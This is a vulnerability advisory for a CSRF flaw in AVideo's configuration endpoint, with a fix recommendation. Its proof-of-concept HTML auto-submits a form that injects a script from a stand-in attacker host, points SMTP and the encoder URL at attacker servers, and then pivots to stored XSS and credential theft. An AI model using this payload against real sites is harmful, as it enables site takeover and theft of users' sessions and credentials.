PT-2026-35126 · Packagist · Wwbn Avideo

Publicado

2026-04-14

·

Atualizado

2026-04-14

CVSS v3.1

8.3

Alta

VetorAV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L

Summary

objects/configurationUpdate.json.php (also routed via /updateConfig) persists dozens of global site settings from $ POST but protects the endpoint only with User::isAdmin(). It does not call forbidIfIsUntrustedRequest(), does not verify a globalToken, and does not validate the Origin/Referer header. Because AVideo intentionally sets session.cookie samesite=None to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP credentials, site <head> HTML, logo, favicon, contact email, and more in a single request.

Details

The entire authorization and CSRF check for the endpoint is this block at objects/configurationUpdate.json.php:10:
php
require once $global['systemRootPath'] . 'objects/user.php';
if (!User::isAdmin()) {
  die('{"error":"' .  ("Permission denied") . '"}');
}
Immediately after, $ POST values are written straight into the global AVideoConf object and persisted:
php
// objects/configurationUpdate.json.php
$config = new AVideoConf();
$config->setContactEmail($ POST['contactEmail']);     // :21
$config->setLanguage($ POST['language']);         // :22
$config->setWebSiteTitle($ POST['webSiteTitle']);     // :23
$config->setDescription($ POST['description']);      // :24
$config->setAuthCanComment($ POST['authCanComment']);   // :25
$config->setAuthCanUploadVideos($ POST['authCanUploadVideos']); // :26
// Advanced (default enabled — $global['disableAdvancedConfigurations'] is empty by default):
$config->setEncoderURL($ POST['encoder url']);      // :32
$config->setSmtp($ POST['smtp']);             // :33
$config->setSmtpAuth($ POST['smtpAuth']);         // :34
$config->setSmtpSecure($ POST['smtpSecure']);       // :35
$config->setSmtpHost($ POST['smtpHost']);         // :36
$config->setSmtpUsername($ POST['smtpUsername']);     // :37
$config->setSmtpPassword($ POST['smtpPassword']);     // :38
$config->setSmtpPort($ POST['smtpPort']);         // :39
$config->setHead($ POST['head']);             // :42
// ...
// Logo / favicon writes:
$fileData = base64DataToImage($ POST['logoImgBase64']);  // :68
file put contents($global['systemRootPath'] . $photoURL, $fileData); // :71
// favicon base64 → file put contents → ImageMagick `convert` invocation (:88-120)
echo '{"status":"' . $config->save() . '", ...}';     // :130

Why CSRF actually lands

  1. SameSite is intentionally None. objects/include config.php:144 sets ini set('session.cookie samesite', 'None') and the adjacent comment states the design: "SameSite=None is intentional: AVideo supports cross-origin iframe embedding… All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken)." This endpoint enforces no such token.
  2. Project already ships a CSRF primitive and uses it elsewhere. objects/functionsSecurity.php:138 defines forbidIfIsUntrustedRequest(), and the peer admin endpoint objects/userUpdate.json.php:18 calls it explicitly. configurationUpdate.json.php has no such call — grepping the file confirms no forbidIfIsUntrustedRequest, verifyToken, globalToken, or Origin/Referer check.
  3. The request is CORS-simple. The admin UI submits with jQuery $.ajax(...type: 'post', data: {...}) (see view/configurations body.php:753), which sends application/x-www-form-urlencoded. That content type is a CORS "simple" request — no preflight — so any third-party origin can trigger it from a <form> with the admin's session cookie attached.
  4. Reachable via two paths. Direct POST /objects/configurationUpdate.json.php works, and .htaccess:459 also exposes it at POST /updateConfig.

Impact primitives unlocked by a single CSRF request

  • setEncoderURL() — redirects future encoder operations (URL metadata fetching, chunked uploads, remote file ingestion in aVideoEncoder.json.php / videoAddNew.json.php) to the attacker's server. Attacker-controlled encoder responses are trusted downstream for titles, descriptions, download URLs, etc.
  • setSmtpHost/Username/Password/Port/Secure/Auth — the next outbound mail (password reset, signup confirmation, admin notifications) goes through the attacker's SMTP relay, harvesting reset tokens and user credentials.
  • setHead() — attacker-chosen raw HTML is injected into every page's <head>, giving persistent site-wide stored XSS (e.g. <script src="https://attacker/evil.js"></script>) that fires in every visitor's browser including the admin, enabling session theft of arbitrary users.
  • logoImgBase64 / faviconBase64 — attacker-controlled bytes are file put contents-ed into the web root under videos/userPhoto/logo.png and videos/favicon.png.
  • setContactEmail, setWebSiteTitle, setAuthCanUploadVideos, setAllow download, setSession timeout, setAdsense, setDisable analytics — full site policy and branding control.

PoC

  1. Attacker hosts evil.html on any origin:
html
<!doctype html>
<html><body>
<form id="x" action="https://victim.example.com/objects/configurationUpdate.json.php"
   method="POST" enctype="application/x-www-form-urlencoded">
 <input name="contactEmail"    value="attacker@evil.com">
 <input name="language"      value="en">
 <input name="webSiteTitle"    value="Pwned">
 <input name="description"     value="x">
 <input name="authCanComment"   value="1">
 <input name="authCanUploadVideos" value="1">
 <input name="authCanViewChart"  value="1">
 <input name="disable analytics"  value="0">
 <input name="allow download"   value="1">
 <input name="session timeout"   value="3600">
 <input name="encoder url"     value="https://attacker.example.com/Encoder/">
 <input name="smtp"        value="1">
 <input name="smtpAuth"      value="1">
 <input name="smtpSecure"     value="tls">
 <input name="smtpHost"      value="smtp.attacker.com">
 <input name="smtpUsername"    value="attacker">
 <input name="smtpPassword"    value="password">
 <input name="smtpPort"      value="587">
 <input name="head"        value='<script src="https://attacker.example.com/evil.js"></script>'>
 <input name="adsense"       value="x">
 <input name="autoplay"      value="1">
 <input name="theme"        value="default">
</form>
<script>document.getElementById('x').submit();</script>
</body></html>
  1. Any user authenticated as AVideo administrator (User::isAdmin() true) visits https://attacker.example.com/evil.html. Their browser submits the form cross-origin; because session.cookie samesite=None, PHPSESSID is included; because it's an application/x-www-form-urlencoded POST, no preflight is sent.
  2. Server-side check at configurationUpdate.json.php:10 passes (User::isAdmin() is true for the victim), and the body reaches $config->save() at :130. Response:
json
{"status":"1","respnseLogo":[],"respnseFavicon":null}
The site-wide configuration is now rewritten with attacker-chosen values — verifiable by visiting any page and seeing the injected <script> in the rendered <head>, and by inspecting videos/configuration.php / the configurations table.
  1. Stored-XSS pivot: every subsequent visitor (including other admins) now executes https://attacker.example.com/evil.js from the victim site's origin, yielding session theft / full admin takeover on what were previously unrelated accounts.
  2. SMTP exfiltration pivot: trigger a password-reset flow on the victim site; the SMTP handshake now goes to smtp.attacker.com:587 with attacker:password, and any future mail from AVideo is observable by the attacker.

Impact

  • Full site configuration takeover from a single cross-origin form submission against any logged-in administrator.
  • Persistent stored XSS site-wide via setHead(), affecting every visitor and enabling session hijack of other admins and users.
  • Credential / reset-token exfiltration via attacker-controlled SMTP relay.
  • Encoder pipeline hijack: attacker controls the upstream URL the server fetches metadata from, enabling downstream content and data poisoning.
  • Arbitrary file write under web root via logoImgBase64 / faviconBase64.
  • No bypass of admin auth is needed — the attacker uses the victim admin's own authenticated session; only a single visit to an attacker-controlled link is required.

Recommended Fix

Call the existing CSRF primitive immediately after the admin check, matching what objects/userUpdate.json.php:18 already does:
php
// objects/configurationUpdate.json.php
require once $global['systemRootPath'] . 'objects/user.php';
require once $global['systemRootPath'] . 'objects/functionsSecurity.php';
if (!User::isAdmin()) {
  die('{"error":"' .  ("Permission denied") . '"}');
}
forbidIfIsUntrustedRequest('configurationUpdate'); // same-origin / CSRF token check
Preferably also require a short-lived globalToken (verifyToken($ REQUEST['globalToken'])) as include config.php:140-143 prescribes, and update view/configurations body.php to include that token in the AJAX payload. Audit all other objects/*.json.php state-mutating endpoints for the same omission — the pattern is structural and likely present on more endpoints.

Correção

CSRF

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

GHSA-VVFW-4M39-FJQF

Produtos afetados

Wwbn Avideo